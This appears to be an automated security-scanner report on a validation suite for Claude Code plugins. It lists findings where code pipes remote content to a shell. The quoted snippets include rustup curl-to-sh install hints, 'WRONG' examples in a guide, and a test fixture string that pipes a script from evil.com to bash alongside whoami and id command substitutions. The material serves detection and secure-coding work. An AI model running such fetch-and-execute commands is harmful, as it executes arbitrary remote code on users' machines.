Summary
Emasoft/claude-plugins-validation v2026-03-22 was classified as CRITICAL RISK with a risk score of 2468. Sigil detected 169 findings across 220 files, covering phases including provenance, code patterns, network exfiltration, credential access, install hooks, obfuscation. Review the findings below before installing this package.
Package description: Comprehensive validation suite for Claude Code plugins, marketplaces, hooks, skills, and MCP servers
v2026-03-22
22 March 2026, 23:39 UTC
by Sigil Bot
Risk Score
2468
Findings
169
Files Scanned
220
Provenance
Findings by Phase
Phase Ordering
Phases are ordered by criticality, with the most dangerous at the top. Click any phase header to expand or collapse its findings. Critical phases are expanded by default.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/scripts/lint_files.py:382
install_hint = {
"darwin": "curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh",
"linux": "curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh",Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/scripts/lint_files.py:383
"darwin": "curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh",
"linux": "curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh",
"windows": "Download rustup-init.exe from https://rustup.rs/",Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/skills/fix-validation/references/code-quality-fixes.md:623
**Root cause:** The file contains a pipe to a shell interpreter (`| sh`, `| bash`, `| zsh`, `| ksh`, `| source`, `| . `). This is extremely dangerous as it enables arbitrary code execution from piped input (e.g., `curl https://evil.com/script.sh | bash`).
Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/skills/fix-validation/references/code-quality-fixes.md:639
# WRONG:
curl https://example.com/install.sh | bash
Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
repo/tests/test_validate_security.py:46
"""scan_for_injection should flag $(cmd), backtick substitution, and pipe-to-shell in non-shell files."""
content = 'result = os.system("echo $(whoami)")\ndata = os.popen("`id`").read()\ncurl https://evil.com/install.sh | bash\n'
report = ValidationReport()Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
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